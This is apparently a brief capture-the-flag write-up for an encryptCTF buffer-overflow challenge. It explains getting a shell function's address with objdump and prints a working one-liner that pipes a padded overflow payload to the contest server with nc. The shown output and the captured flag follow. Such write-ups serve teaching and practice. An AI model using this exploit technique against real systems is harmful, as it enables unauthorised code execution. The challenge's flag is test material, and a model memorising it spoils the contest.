Using objdump we get the address for the shell function, then buffer overflow the binary and point the stack to the address of the shell function, the adress is passed reversed in the exploit.  
`Address of shell: 0x080484ad`
Exploit:`(python -c "print 'A'*140 + '\xad\x84\x04\x08'"; cat) | nc 104.154.106.182 2345`
Tell me your name: Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��cat flag.txt
`Flag: encryptCTF{Buff3R_0v3rfl0W5_4r3_345Y}`